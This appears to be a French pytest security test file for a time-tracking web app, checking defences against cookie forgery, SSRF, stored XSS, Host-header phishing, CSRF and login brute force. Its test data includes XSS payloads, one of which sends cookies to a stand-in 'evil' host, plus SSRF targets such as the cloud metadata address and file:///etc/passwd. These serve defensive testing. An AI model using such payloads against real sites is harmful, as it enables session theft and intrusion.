pointeuse-optimisator/app/tests/test_security.py

"""Tests de sécurité : anti-forgery du cookie de session.

Avant le correctif, n'importe qui pouvait forger le cookie `user_id=admin` et
accéder aux données d'un autre utilisateur. La signature HMAC doit rendre toute
altération détectable.
"""
import sys

# DATA_DIR temporaire est positionné par conftest.py avant l'import de models.
import models  # noqa: F401

sys.path.insert(0, ".")
import main
from fastapi.testclient import TestClient

client = TestClient(main.app)


def _seed_user(uid: str):
    import bcrypt
    models.save_auth(uid, email=f"{uid}@x.fr",
                     password_hash=bcrypt.hashpw(b"x" * 12, bcrypt.gensalt()).decode())


def _login(uid: str) -> dict:
    _seed_user(uid)
    r = client.post("/login/password",
                    data={"email": f"{uid}@x.fr", "password": "x" * 12},
                    follow_redirects=False)
    assert r.status_code == 302, r.text
    return {"user_id": r.cookies.get("user_id")}


# ── Forgery du cookie ─────────────────────────────────────────────────────────

def test_unsigned_cookie_rejected():
    """Un cookie `user_id=admin` forgé à la main doit être rejeté."""
    _seed_user("alice")
    r = client.get("/semaine/2026/29", cookies={"user_id": "alice"}, follow_redirects=False)
    assert r.status_code == 302
    assert "/login" in r.headers["location"]


def test_tampered_signature_rejected():
    """Un cookie valide dont on modifie la signature doit être rejeté."""
    cookies = _login("alice")
    raw = cookies["user_id"]
    user_id, _, sig = raw.rpartition(".")
    # Inverse un caractère de la signature
    bad_sig = ("0" if sig[0] != "0" else "1") + sig[1:]
    tampered = f"{user_id}.{bad_sig}"
    r = client.get("/semaine/2026/29", cookies={"user_id": tampered}, follow_redirects=False)
    assert r.status_code == 302
    assert "/login" in r.headers["location"]


def test_valid_signed_cookie_accepted():
    """Le cookie signé délivré par /login/password doit ouvrir la session."""
    cookies = _login("alice")
    r = client.get("/semaine/2026/29", cookies=cookies, follow_redirects=False)
    assert r.status_code == 200


def test_signed_cookie_cannot_be_replayed_for_other_user():
    """La signature d'alice ne doit pas valider pour bob (user_id modifié)."""
    cookies = _login("alice")
    raw = cookies["user_id"]
    _, _, sig = raw.rpartition(".")
    # Remplace alice par bob en conservant la signature d'alice
    forged = f"bob.{sig}"
    _seed_user("bob")
    r = client.get("/semaine/2026/29", cookies={"user_id": forged}, follow_redirects=False)
    assert r.status_code == 302
    assert "/login" in r.headers["location"]


# ── Helpers de signature ──────────────────────────────────────────────────────

def test_sign_and_verify_roundtrip():
    sig = main._sign_user_id("alice")
    assert main._verify_signed_cookie(sig) == "alice"


def test_verify_rejects_malformed_inputs():
    for bad in ("", "alice", "alice.", ".", "alice.deadbeef", "inva/lid.xxx"):
        assert main._verify_signed_cookie(bad) is None


def test_secret_is_stable_across_calls():
    s1 = models.load_or_create_secret()
    s2 = models.load_or_create_secret()
    assert s1 == s2


# ── Validation SSRF du serveur ntfy ──────────────────────────────────────────

import notifications  # noqa: E402


def test_ntfy_server_validation_accepts_https():
    assert notifications.is_safe_ntfy_server("https://ntfy.sh")
    assert notifications.is_safe_ntfy_server("https://ntfy.example.com:8080")


def test_ntfy_server_validation_rejects_loopback():
    for bad in ("http://127.0.0.1:1", "http://127.0.0.1", "http://localhost",
                "https://localhost:8443", "https://[::1]"):
        assert not notifications.is_safe_ntfy_server(bad), bad


def test_ntfy_server_validation_rejects_private_networks():
    for bad in ("https://10.0.0.1", "https://172.16.5.5", "https://192.168.1.1",
                "https://169.254.169.254", "http://10.255.255.1:8080"):
        assert not notifications.is_safe_ntfy_server(bad), bad


def test_ntfy_server_validation_rejects_bad_schemes():
    for bad in ("ftp://ntfy.sh", "file:///etc/passwd", "gopher://x", "javascript:alert(1)"):
        assert not notifications.is_safe_ntfy_server(bad), bad


def test_ntfy_server_validation_rejects_credentials_in_url():
    assert not notifications.is_safe_ntfy_server("https://user:pass@ntfy.sh")


def test_ntfy_server_validation_rejects_empty_or_none():
    for bad in ("", None, "   "):
        assert not notifications.is_safe_ntfy_server(bad), bad


def test_send_ntfy_refuses_ssrf_target():
    """Un appel vers une IP privée ne doit jamais ouvrir de connexion réseau."""
    import urllib.request as u
    called = {"n": 0}
    orig = u.urlopen
    try:
        u.urlopen = lambda *a, **kw: called.__setitem__("n", called["n"] + 1)
        ok = notifications.send_ntfy(
            "http://169.254.169.254", "ssrf-topic",
            "msg", "titre", user_id=None, token="",
        )
    finally:
        u.urlopen = orig
    assert ok is False
    assert called["n"] == 0  # urlopen n'a jamais été appelé


def test_settings_save_rejects_ssrf_ntfy_server():
    """POST /settings avec un serveur SSRF doit être rejeté."""
    cookies = _login("carol")
    # Préserve un topic valide
    models.save_notif_config("carol", ntfy_topic="t", ntfy_server="https://ntfy.sh")
    r = client.post("/settings", cookies=cookies, data={
        "ntfy_topic": "topic-x",
        "ntfy_server": "http://169.254.169.254",
        "ntfy_token": "",
        "rappel_debut_h": "8",
        "rappel_fin_h": "19",
    }, follow_redirects=False)
    assert r.status_code == 303
    assert "ssrf_error=1" in r.headers["location"]
    # La valeur précédente est conservée
    cfg = models.load_notif_config("carol")
    assert cfg["ntfy_server"] == "https://ntfy.sh"


# ── XSS stocké via /pointage ──────────────────────────────────────────────────

XSS_PAYLOADS = [
    '"><svg/onload=alert(1)>',
    '"><script>alert(document.cookie)</script>',
    "'/><script>fetch('//evil/'+document.cookie)</script>",
]


def test_pointage_rejects_non_hhmm_value():
    """POST /pointage avec une valeur non HHMM ne doit pas être persistée."""
    cookies = _login("dave")
    for payload in XSS_PAYLOADS:
        r = client.post("/pointage/2026-07-17", cookies=cookies, data={
            "matin_entree": payload,
            "matin_sortie": "",
            "aprem_entree": "",
            "aprem_sortie": "",
        })
        # La réponse ne doit pas planter
        assert r.status_code == 200
        # Le payload ne doit pas se retrouver tel quel dans la réponse
        assert payload not in r.text, payload
    # Vérification de la persistance
    week = models.load_week_pointages(2026, 29, "dave")
    entry = next((p for p in week if p["date"] == "2026-07-17"), None)
    assert entry is not None
    # matin_entree doit avoir été ignoré (None), pas stocké tel quel
    assert entry["matin_entree"] is None


def test_pointage_valid_hhmm_still_works():
    """Un pointage HHMM valide doit continuer à fonctionner."""
    cookies = _login("erin")
    r = client.post("/pointage/2026-07-17", cookies=cookies, data={
        "matin_entree": "08:45",
        "matin_sortie": "12:00",
        "aprem_entree": "",
        "aprem_sortie": "",
    })
    assert r.status_code == 200
    assert "08:45" in r.text
    week = models.load_week_pointages(2026, 29, "erin")
    entry = next((p for p in week if p["date"] == "2026-07-17"), None)
    assert entry["matin_entree"] == "08:45"


def test_oob_html_escapes_date_attribute():
    """Si la date (issue de l'URL) contient des caractères HTML, ils doivent être échappés."""
    cookies = _login("frank")
    # Forçage d'un pointage valide pour déclencher le rendu _oob_time_cells
    client.post("/pointage/2026-07-17", cookies=cookies, data={
        "matin_entree": "08:45", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": "",
    })
    # Une date malicieuse dans /refresh/... doit être échappée si elle passe strptime
    # (les caractères HTML ne passent pas strptime, mais on vérifie que l'escape est actif
    # sur le rendu d'un pointage normal pour la date légitime)
    r = client.post("/pointage/2026-07-17", cookies=cookies, data={
        "matin_entree": "08:45", "matin_sortie": "12:00",
        "aprem_entree": "14:00", "aprem_sortie": "17:30",
    })
    assert "<script" not in r.text.lower()
    assert "onload" not in r.text.lower()


# ── Open redirect via Host header ─────────────────────────────────────────────
# Le lien set-password est envoyé par email ; son host venait de request.base_url
# lui-même issu du header Host contrôlable par le client. Un attaquant pouvait
# déclencher l'envoi d'un email légitime contenant un host arbitraire (phishing).


def _patch_send_mail_captor(monkeypatch):
    """Remplace send_mail par un capteur ; retourne le dict où les appels seront stockés."""
    captured = {"calls": []}

    def _fake_send_mail(to_addr, subject, body, from_addr, smtp_cfg):
        captured["calls"].append({
            "to": to_addr, "subject": subject, "body": body,
            "from": from_addr, "smtp": smtp_cfg,
        })

    monkeypatch.setattr(main, "send_mail", _fake_send_mail)
    # Configure aussi un SMTP fictif pour que la route ne plante pas avant l'appel
    cfg = models.load_config()
    cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
    models.save_config(cfg)
    return captured


def test_login_rejects_untrusted_host(monkeypatch):
    """POST /login avec Host=phishing.attacker ne doit pas envoyer d'email."""
    captured = _patch_send_mail_captor(monkeypatch)
    # Config : allowed_email_domain=x.fr, pas de base_url, host attendu = *.x.fr ou localhost
    r = client.post(
        "/login",
        data={"email": "nouveau.x@x.fr"},
        headers={"Host": "phishing.attacker"},
        follow_redirects=False,
    )
    # L'email n'est pas envoyé
    assert captured["calls"] == []
    # Un message d'erreur est renvoyé
    assert "non autorisé" in r.text.lower() or "domaine" in r.text.lower()


def test_login_accepts_host_matching_allowed_email_domain(monkeypatch):
    """POST /login avec Host=app.x.fr (suffixe du domaine autorisé) doit envoyer l'email."""
    captured = _patch_send_mail_captor(monkeypatch)
    r = client.post(
        "/login",
        data={"email": "nouveau2.x@x.fr"},
        headers={"Host": "app.x.fr"},
        follow_redirects=False,
    )
    assert len(captured["calls"]) == 1
    body = captured["calls"][0]["body"]
    # L'URL dans l'email doit pointer vers le host attendu, pas un host arbitraire
    assert "http://app.x.fr/set-password/" in body


def test_login_accepts_localhost_for_local_dev(monkeypatch):
    """localhost doit toujours être accepté (utile pour dev local et tests)."""
    captured = _patch_send_mail_captor(monkeypatch)
    client.post(
        "/login",
        data={"email": "local.x@x.fr"},
        headers={"Host": "localhost:8000"},
        follow_redirects=False,
    )
    assert len(captured["calls"]) == 1
    assert "http://localhost:8000/set-password/" in captured["calls"][0]["body"]


def test_login_uses_configured_base_url_regardless_of_host(monkeypatch):
    """Si base_url est défini en config, c'est elle qui prime (anti spoofing Host)."""
    captured = _patch_send_mail_captor(monkeypatch)
    cfg = models.load_config()
    cfg["base_url"] = "https://pointeuse.officielle.fr"
    models.save_config(cfg)

    r = client.post(
        "/login",
        data={"email": "config.x@x.fr"},
        headers={"Host": "phishing.attacker"},
        follow_redirects=False,
    )
    # L'email est envoyé avec l'URL officielle, pas le host spoofé
    assert len(captured["calls"]) == 1
    assert "https://pointeuse.officielle.fr/set-password/" in captured["calls"][0]["body"]
    assert "phishing.attacker" not in captured["calls"][0]["body"]
    # Cleanup
    cfg["base_url"] = ""
    models.save_config(cfg)


def test_safe_base_url_helper_unit():
    """Tests unitaires du helper _safe_base_url."""
    from starlette.datastructures import Headers

    class _FakeReq:
        def __init__(self, host, scheme="http"):
            self.headers = Headers({"host": host})
            self.url = type("U", (), {"scheme": scheme})()

    # Aucune config base_url, domaine autorisé x.fr
    # Host valide (suffixe)
    assert main._safe_base_url(_FakeReq("app.x.fr")).endswith("://app.x.fr")
    # Host invalide
    assert main._safe_base_url(_FakeReq("evil.attacker")) is None
    # localhost OK
    assert "localhost" in main._safe_base_url(_FakeReq("localhost"))
    # Host sans header → None
    assert main._safe_base_url(_FakeReq("")) is None


# ── Protection CSRF (Origin check) ────────────────────────────────────────────

def test_csrf_rejects_post_with_cross_site_origin():
    """Un POST avec Origin cross-site doit être rejeté."""
    cookies = _login("grace")
    r = client.post(
        "/pointage/2026-07-17",
        cookies=cookies,
        data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
        headers={"Host": "testserver", "Origin": "https://evil.attacker"},
        follow_redirects=False,
    )
    assert r.status_code == 403
    assert "csrf" in r.text.lower()


def test_csrf_rejects_post_with_cross_site_referer():
    """Un POST avec Referer cross-site doit aussi être rejeté."""
    cookies = _login("heidi")
    r = client.post(
        "/pointage/2026-07-17",
        cookies=cookies,
        data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
        headers={"Host": "testserver", "Referer": "https://evil.attacker/page"},
        follow_redirects=False,
    )
    assert r.status_code == 403


def test_csrf_accepts_post_without_origin():
    """L'absence d'Origin (curl/Tasker) doit être tolérée (SameSite suffit)."""
    cookies = _login("ivan")
    r = client.post(
        "/pointage/2026-07-17",
        cookies=cookies,
        data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
        follow_redirects=False,
    )
    assert r.status_code == 200


def test_csrf_accepts_post_with_matching_origin():
    """Un POST avec Origin == Host est accepté."""
    cookies = _login("judy")
    r = client.post(
        "/pointage/2026-07-17",
        cookies=cookies,
        data={"matin_entree": "08:00", "matin_sortie": "", "aprem_entree": "", "aprem_sortie": ""},
        headers={"Host": "testserver", "Origin": "http://testserver"},
        follow_redirects=False,
    )
    assert r.status_code == 200


def test_csrf_accepts_get_regardless_of_origin():
    """Les GET ne sont pas concernés par la vérification CSRF."""
    r = client.get("/login", headers={"Origin": "https://evil.attacker"})
    # 200 (page login) ou 302 (déjà loggué) mais pas 403
    assert r.status_code != 403


# ── Endpoints de présence : POST uniquement (anti CSRF trivial) ──────────────

def test_presence_endpoints_require_post():
    """Les endpoints /presence/... doivent refuser les GET (CSRF trivial via <img src>)."""
    notif = models.load_notif_config("alice") if (models.DATA_DIR / "users" / "alice").exists() else None
    # Crée alice si nécessaire et récupère un token valide
    _seed_user("alice")
    token = models.load_notif_config("alice")["token"]

    # GET doit échouer (405 Method Not Allowed)
    r_get_arr = client.get(f"/presence/{token}/arrivee", follow_redirects=False)
    r_get_dep = client.get(f"/presence/{token}/depart", follow_redirects=False)
    assert r_get_arr.status_code == 405, r_get_arr.status_code
    assert r_get_dep.status_code == 405

    # POST doit fonctionner
    r_post_arr = client.post(f"/presence/{token}/arrivee")
    r_post_dep = client.post(f"/presence/{token}/depart")
    assert r_post_arr.status_code == 200
    assert r_post_dep.status_code == 200
    assert r_post_arr.json() == {"ok": True}


# ── En-têtes de sécurité + cookie Secure ──────────────────────────────────────

def test_security_headers_present_on_every_response():
    """Les en-têtes X-Content-Type-Options, X-Frame-Options, CSP et Referrer-Policy
    doivent être positionnés sur toutes les réponses."""
    r = client.get("/login")
    assert r.headers.get("X-Content-Type-Options") == "nosniff"
    assert r.headers.get("X-Frame-Options") == "DENY"
    assert r.headers.get("Referrer-Policy") == "same-origin"
    csp = r.headers.get("Content-Security-Policy", "")
    assert "default-src 'self'" in csp
    assert "frame-ancestors 'none'" in csp
    assert "base-uri 'self'" in csp


def test_hsts_header_only_on_https():
    """HSTS ne doit être positionné qu'en HTTPS."""
    # En HTTP (TestClient par défaut), pas de HSTS
    r = client.get("/login")
    assert "Strict-Transport-Security" not in r.headers

    # En HTTPS, HSTS doit être présent
    https_client = TestClient(main.app, base_url="https://testserver")
    r2 = https_client.get("/login")
    assert r2.headers.get("Strict-Transport-Security", "").startswith("max-age=31536000")


def test_cookie_has_secure_flag_over_https():
    """Sur une requête HTTPS, le cookie de session doit porter le drapeau Secure."""
    https_client = TestClient(main.app, base_url="https://testserver")
    _seed_user("kate")
    r = https_client.post(
        "/login/password",
        data={"email": "kate@x.fr", "password": "x" * 12},
        follow_redirects=False,
    )
    assert r.status_code == 302
    cookie = r.headers.get("set-cookie", "")
    assert "Secure" in cookie, cookie
    assert "HttpOnly" in cookie
    assert "SameSite=lax" in cookie


def test_cookie_omits_secure_flag_over_http():
    """En HTTP (dev local), le cookie ne doit pas avoir Secure (sinon il ne serait pas posé)."""
    _seed_user("liam")
    r = client.post(
        "/login/password",
        data={"email": "liam@x.fr", "password": "x" * 12},
        follow_redirects=False,
    )
    assert r.status_code == 302
    cookie = r.headers.get("set-cookie", "")
    assert "HttpOnly" in cookie
    assert "SameSite=lax" in cookie
    # En HTTP, pas de Secure (sinon le navigateur refuserait le cookie)
    assert "Secure" not in cookie


def test_force_secure_cookies_config_overrides_scheme():
    """config.force_secure_cookies doit forcer Secure même en HTTP."""
    cfg = models.load_config()
    cfg["force_secure_cookies"] = True
    models.save_config(cfg)
    try:
        _seed_user("mona")
        r = client.post(
            "/login/password",
            data={"email": "mona@x.fr", "password": "x" * 12},
            follow_redirects=False,
        )
        assert "Secure" in r.headers.get("set-cookie", "")
    finally:
        cfg["force_secure_cookies"] = False
        models.save_config(cfg)


# ── Rate-limiting /login et /login/password ───────────────────────────────────
# Empêche le brute-force du mot de passe et le mail-bombing SMTP.

def test_login_password_rate_limit_kicks_in():
    """Au-delà de la limite, /login/password doit refuser."""
    main._LOGIN_ATTEMPTS.clear()
    _seed_user("nina")
    cfg = models.load_config()
    cfg["login_rate_limit_per_min"] = 3
    models.save_config(cfg)
    try:
        # 3 tentatives (toutes incorrectes) → autorisées
        for _ in range(3):
            r = client.post(
                "/login/password",
                data={"email": "nina@x.fr", "password": "bad"},
                follow_redirects=False,
            )
            assert r.status_code == 200
            assert "incorrect" in r.text.lower() or "Mot de passe" in r.text
        # 4e tentative → bloquée
        r4 = client.post(
            "/login/password",
            data={"email": "nina@x.fr", "password": "bad"},
            follow_redirects=False,
        )
        assert r4.status_code == 200
        assert "Trop de tentatives" in r4.text
    finally:
        cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
        models.save_config(cfg)
        main._LOGIN_ATTEMPTS.clear()


def test_login_post_rate_limit_kicks_in():
    """Au-delà de la limite, POST /login doit refuser (mail-bombing)."""
    main._LOGIN_ATTEMPTS.clear()
    cfg = models.load_config()
    cfg["login_rate_limit_per_min"] = 2
    # Config SMTP valide pour que la route ne plante pas avant send_mail
    cfg["smtp"] = {"host": "smtp.test", "port": 587, "user": "u", "password": "p", "use_tls": True}
    models.save_config(cfg)
    try:
        # 2 POST /login OK (le mail peut échouer, mais le rate limit passe)
        for i in range(2):
            r = client.post("/login", data={"email": f"victim{i}.x@x.fr"})
            assert "Trop de tentatives" not in r.text
        # 3e POST → bloqué
        r3 = client.post("/login", data={"email": "victim3.x@x.fr"})
        assert "Trop de tentatives" in r3.text
    finally:
        cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
        models.save_config(cfg)
        main._LOGIN_ATTEMPTS.clear()


def test_rate_limit_independent_per_email():
    """Le rate limit /login/password est par (ip, email) : deux emails distincts
    ne se partagent pas leur quota."""
    main._LOGIN_ATTEMPTS.clear()
    cfg = models.load_config()
    cfg["login_rate_limit_per_min"] = 2
    models.save_config(cfg)
    try:
        _seed_user("oscar")
        # 2 tentatives sur "oscar" → OK
        for _ in range(2):
            client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
        # La 3e sur "oscar" doit échouer
        r_o = client.post("/login/password", data={"email": "oscar@x.fr", "password": "x"}, follow_redirects=False)
        assert "Trop de tentatives" in r_o.text
        # Une autre adresse email doit encore fonctionner
        _seed_user("paul")
        r_p = client.post("/login/password", data={"email": "paul@x.fr", "password": "x"}, follow_redirects=False)
        assert "Trop de tentatives" not in r_p.text
    finally:
        cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
        models.save_config(cfg)
        main._LOGIN_ATTEMPTS.clear()


def test_rate_limit_can_be_disabled_via_config():
    """config.login_rate_limit_per_min = 0 doit désactiver le rate limit."""
    main._LOGIN_ATTEMPTS.clear()
    cfg = models.load_config()
    cfg["login_rate_limit_per_min"] = 0
    models.save_config(cfg)
    try:
        _seed_user("quinn")
        # Beaucoup de tentatives : aucune ne doit être bloquée
        for _ in range(50):
            r = client.post("/login/password", data={"email": "quinn@x.fr", "password": "x"}, follow_redirects=False)
            assert "Trop de tentatives" not in r.text, r.text
    finally:
        cfg["login_rate_limit_per_min"] = main.DEFAULT_LOGIN_MAX_PER_MIN
        models.save_config(cfg)
        main._LOGIN_ATTEMPTS.clear()